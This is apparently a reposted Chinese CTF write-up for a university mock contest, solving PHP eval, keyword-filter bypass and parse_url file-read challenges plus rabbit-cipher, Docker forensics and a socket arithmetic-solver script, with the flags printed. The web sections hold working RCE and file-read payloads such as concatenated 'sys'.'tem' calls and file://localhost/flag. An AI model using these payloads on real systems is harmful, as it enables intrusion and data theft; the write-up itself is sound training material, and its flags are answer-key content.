hubu新星杯实践能力赛模拟赛web/Misc-wp

news2024/11/30 0:06:02
ez_eval
 <?php
highlight_file(__FILE__);
error_reporting(0);

$hubu = $_GET['hubu'];

eval($hubu);

?> 

先进行代码审计,GET传参hubu,并执行命令,没有任何绕过,放开手脚去做

payload:

?hubu=system('cat /f*');      #直接rce
rce_level1
 <?php
error_reporting(0);
if(isset($_GET['c'])){
    $c  = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    } 
}else{
    highlight_file(__FILE__);
} 

代码审计,发现过滤了关键字flag,system,php。

使用拼接绕过构造payload:

?c=('sys'.'tem')(ls);    #发现目录下没有flag文件
?c=('sys'.'tem')(cat /f*);   #发现回显空白

不在文件夹里,那可能是在phpinfo里

payload:

?c=phpinfo();

没回显…根据代码的过滤可以知道,应该只过滤了三个关键字,可其实并不只过滤了这三个关键字。

经过测试,发现有隐藏过滤,比如关键字php,和一些字符如反斜杠\

最后的payload:

?c=('ph'.'pinfo')();

在页面中找到flag。

ez_LFI

考点:伪协议

image-20241124161059701

先随便传一个,/?url=111

image-20241124161148073

代码审计,根据网上查询的parse_url()函数的资料显示:

解析 URL,返回其组成部分,如下:

<?php
$url = 'http://username:password@hostname/path?arg=value#anchor';
print_r(parse_url($url));
echo parse_url($url, PHP_URL_PATH);
?>
结果----------------------------------------------------------------------------------------------------
Array
(
    [scheme] => http
    [host] => hostname
    [user] => username
    [pass] => password
    [path] => /path
    [query] => arg=value
    [fragment] => anchor
)

所以必须在传入的url参数中让[host]是localhost。

然后再用file协议读取flag。

payload:

/?url=file://localhost/flag

HUBUCTF{22290581-9558-4405-9c01-368dc660bf6a}

Misc

Cute Rabbit

考点:rabbit编码

VTJGc2RHVmtYMS91RnhkczF5SU1jdit1K3o0NzFCcDR2aXcrVkNNaS9TU1QyZU5EMFUvSQo=

签到题,根据题目提示,是rabbit编码,密文末尾的=表示可能是base64,所以是

base64 -> rabbit

HUBUCTF{S0_<u73_R4b6it}

Docker Forensic

考点:docker的使用

根据题目提示,先拉取镜像

docker pull crpi-i24jskxbbxvfxlzp.cn-hangzhou.personal.cr.aliyuncs.com/st4rry/aliyun:ez_docker_forensic

image-20241124162645328

将镜像压缩到本地

image-20241124164537663

将文件解压到一个目录下,然后切换到该目录。在该目录下有个sha256文件夹,把里面的文件解压

在tmp中找到password

image-20241124165519193

退级,在解压后的一个文件夹里找到flag.txt

image-20241124165719701

使用了加盐算法,密钥就是上面的password,进行解密

image-20241124171222266

HUBUCTF{1_L0v3_D0ck3r_F0r3ns1c_A}

SpeedMath

考点:nc连接,python脚本

先用nc连接

image-20241124171410644

发现会出现算数题目,但是给你输入的时间很短,所以几乎不可能手工做,直接问AI写脚本

import socket
import re

def solve_arithmetic_expression(expression):
    """
    解析并计算算术表达式的结果。
    这里假设表达式只包含整数和基本的加减乘除运算。
    """
    try:
        # 使用eval计算表达式的结果,但注意eval的安全性问题
        # 在实际应用中,应该使用更安全的解析方法
        result = eval(expression)
        return result
    except Exception as e:
        print(f"Error evaluating expression '{expression}': {e}")
        return None

def nc_connection(host, port):
    """
    使用Netcat连接到服务器,并自动解答算术题。
    """
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.connect((host, port))
        
        while True:
            # 读取服务器发送的数据
            data = s.recv(1024).decode('utf-8').strip()
            
            if not data:
                # 如果没有接收到数据,可能是连接已经关闭
                break
            
            print(f"Received: {data}")
            
            # 使用正则表达式匹配算术题目
            match = re.match(r'Question \d+: (\d+) ([+\-*/]) (\d+) =', data)
            if match:
                num1 = int(match.group(1))
                operator = match.group(2)
                num2 = int(match.group(3))
                
                # 构造算术表达式
                expression = f"{num1} {operator} {num2}"
                
                # 计算正确答案
                correct_answer = solve_arithmetic_expression(expression)
                
                if correct_answer is not None:
                    # 将答案发送回服务器(假设服务器期望的是整数答案)
                    s.sendall(f"{correct_answer}\n".encode('utf-8'))
                else:
                    # 如果无法计算表达式,则退出循环
                    print("Failed to solve expression.")
                    break
            else:
                # 如果不是算术题目,可能是其他信息或结束信息
                # 这里假设服务器在发送完所有题目后会发送一个非算术题目的消息
                print("Received non-arithmetic message, possibly final message.")
                print(f"Final message: {data}")
                break

# 使用示例
nc_connection('challenge.hubuctf.cn', 32478)  # 替换为你的服务器主机名和端口号

HUBUCTF{72e53365-bf9c-48db-8327-83b9c9269e7d}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2250086.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【前端】跨域问题与缓存

报错如下&#xff1a; 原因&#xff1a; 浏览器 缓存跨域&#xff0c;顾名思义是由于浏览器的缓存机制导致的一种跨域情况。这种跨域一般会出现在浏览器通过一些无视跨域的标签和css(如img、background-image)缓存了一些图片资源之后&#xff0c;当再次发起图片请求时&#xff…

抓包之OSI七层模型以及TCPIP四层模型

写在前面 本文看下OSI七层模型以及TCP/IP四层网络模型&#xff0c;并尝试使用wireshark进行验证。 1&#xff1a;OSI七层网络模型和TCP/IP四层模型 全称&#xff1a;open system interconnection。 需要注意OSI七层模型最终是没有落地的&#xff0c;最终落地的是与之类似的…

#渗透测试#红蓝攻防#HW#漏洞挖掘#漏洞复现02-永恒之蓝漏洞

免责声明 本教程仅为合法的教学目的而准备&#xff0c;严禁用于任何形式的违法犯罪活动及其他商业行为&#xff0c;在使用本教程前&#xff0c;您应确保该行为符合当地的法律法规&#xff0c;继续阅读即表示您需自行承担所有操作的后果&#xff0c;如有异议&#xff0c;请立即停…

MTK 展锐 高通 sensorhub架构

一、MTK平台 MTK框架可以分为两部分&#xff0c;AP和SCP。 AP是主芯片&#xff0c;SCP是协处理器&#xff0c;他们一起工作来处理sensor数据。 SCP 是用来处理sensor和audio相关功能和其他客制化需求的一个协处理理器&#xff0c;MTK SCP选择freeRTOS作为操作系统&#xff0c…

视觉语言模型(VLM)学习笔记

目录 应用场景举例 VLM 的总体架构包括&#xff1a; 深度解析&#xff1a;图像编码器的实现 图像编码器&#xff1a;视觉 Transformer 注意力机制 视觉-语言投影器 综合实现 训练及注意事项 总结 应用场景举例 基于文本的图像生成或编辑&#xff1a;你输入 “生成一张…

[AutoSar]BSW_Diagnostic_007 BootLoader 跳转及APP OR boot response 实现

目录 关键词平台说明背景一、Process Jump to Bootloader二、相关函数和配置2.1 Dcm_GetProgConditions()2.2 Dcm_SetProgConditions() 三、如何实现在APP 还是BOOT 中对10 02服务响应3.1 配置3.2 code 四、报文五、小结 关键词 嵌入式、C语言、autosar、OS、BSW、UDS、diagno…

如何启用本机GPU硬件加速猿大师播放器网页同时播放多路RTSP H.265 1080P高清摄像头RTSP视频流?

目前市面上主流播放RTSP视频流的方式是用服务器转码方案&#xff0c;这种方案的好处是兼容性更强&#xff0c;可以用于不同的平台&#xff0c;比如&#xff1a;Windows、Linux或者手机端&#xff0c;但是缺点也很明显&#xff1a;延迟高、播放高清或者同时播放多路视频视频容易…

设置ip和代理DNS的WindowsBat脚本怎么写?

今天分享一个我们在工作时&#xff0c;常见的在Windows中通过批处理脚本&#xff08;.bat 文件&#xff09;来设置IP地址、代理以及DNS 相关配置的示例&#xff0c;大家可以根据实际需求进行修改调整。 一、设置静态IP地址脚本示例 以下脚本用于设置本地连接&#xff08;你可…

深度学习-49-AI应用实战之基于HyperLPR的车牌识别

文章目录 1 车牌识别系统1.1 识别原理1.1.1 车牌定位1.1.2 字符识别2 实例应用2.1 安装hyperlpr32.2 识别结果2.3 可视化显示2.4 结合streamlit3 附录3.1 PIL.Image转换成OpenCV格式3.2 OpenCV转换成PIL.Image格式3.3 st.image嵌入图像内容3.4 参考附录1 车牌识别系统 车牌识别…

基于深度学习的手势识别算法

基于深度学习的手势识别算法 概述算法原理核心逻辑效果演示使用方式参考文献 概述 本文基于论文 [Simple Baselines for Human Pose Estimation and Tracking[1]](ECCV 2018 Open Access Repository (thecvf.com)) 实现手部姿态估计。 手部姿态估计是从图像或视频帧集中找到手…

【Linux】-操作系统

&#x1f511;&#x1f511;博客主页&#xff1a;阿客不是客 &#x1f353;&#x1f353;系列专栏&#xff1a;深入代码世界&#xff0c;了解掌握 Linux 欢迎来到泊舟小课堂 &#x1f618;博客制作不易欢迎各位&#x1f44d;点赞⭐收藏➕关注 ​​ 一、冯•诺依曼架构&#xff…

2024最新python使用yt-dlp

2024最新python使用yt-dlp下载YT视频 1.获取yt的cookie1&#xff09;google浏览器下载Get cookies.txt LOCALLY插件2&#xff09;导出cookie 2.yt-dlp下载[yt-dlp的GitHub地址](https://github.com/yt-dlp/yt-dlp?tabreadme-ov-file)1&#xff09;使用Pycharm(2024.3)进行代码…

Mybatis集成篇(一)

Spring 框架集成Mybatis 目前主流Spring框架体系中&#xff0c;可以集成很多第三方框架&#xff0c;方便开发者利用Spring框架机制使用第三方框架的功能。就例如本篇Spring集成Mybatis 简单集成案例&#xff1a; Config配置&#xff1a; Configuration MapperScan(basePack…

C51相关实验

C51相关实验 LED (P2 / 0~7)蜂鸣器 (P2^5)数码管 (P0 0~7 段 &#xff0c;P2 2~4 位)独立按键 &#xff08;P3^1 P3^0 P3^2 P3^3&#xff09;直流电机 (J47 5v 01~04)综合实验矩阵按键 (P1组 0~7)LED点阵 LED (P2 / 0~7) //功能&#xff1a;1.让开发板的LED全亮&#xff0c;2,…

C++语法·叭

阁下何不乘风起&#xff0c;扶摇直上九万里。 qi fei 目录 内存管理 分区介绍 1.栈区&#xff1a; 2.内存映射段&#xff1a; 3.堆&#xff1a; 4.数据段&#xff1a; 5.代码段&#xff1a; 补充&#xff1a; C内存管理&#xff08;简略回忆&#xff09; C内存…

数据库期末复习题库

1. Mysql日志功能有哪些? 记录日常操作和错误信息&#xff0c;以便了解Mysql数据库的运行情况&#xff0c;日常操作&#xff0c;错误信息和进行相关的优化。 2. 数据库有哪些备份方法 完全备份&#xff1a;全部都备份一遍表备份&#xff1a;只提取数据库中的数据&#xff0…

矩阵重新排列——rot90函数

通过 r o t 90 rot90 rot90函数可以将矩阵进行旋转 用法&#xff1a; r o t 90 ( a , k ) rot90(a,k) rot90(a,k)将矩阵 a a a按逆时针方向旋转 k 9 0 ∘ k\times90^\circ k90∘

挑战用React封装100个组件【001】

项目地址 https://github.com/hismeyy/react-component-100 组件描述 组件适用于需要展示图文信息的场景&#xff0c;比如产品介绍、用户卡片或任何带有标题、描述和可选图片的内容展示 样式展示 代码展示 InfoCard.tsx import ./InfoCard.cssinterface InfoCardProps {ti…

联通云服务器部署老项目tomcat记录

1.先在服务器上安装mysql和tomcat 2.tomcat修改端口 3.在联通云运控平台配置tomcat访问端口&#xff08;相当于向外部提供可访问端口&#xff09; 4.将tomcat项目放在服务器tomcat的webapps里面 5.在mysql里创建项目数据库&#xff0c;运行sql创建表和导入数据 6.在配置文…

Python 删除Word中的表格

在处理Word文档时&#xff0c;我们经常会遇到需要删除表格的情况。无论是为了简化文档结构&#xff0c;还是为了更新内容&#xff0c;删除表格都是一个常见的操作。但是通过手动删除不仅耗时&#xff0c;而且容易出错&#xff0c;本文将介绍如何使用Python通过编程删除Word中的…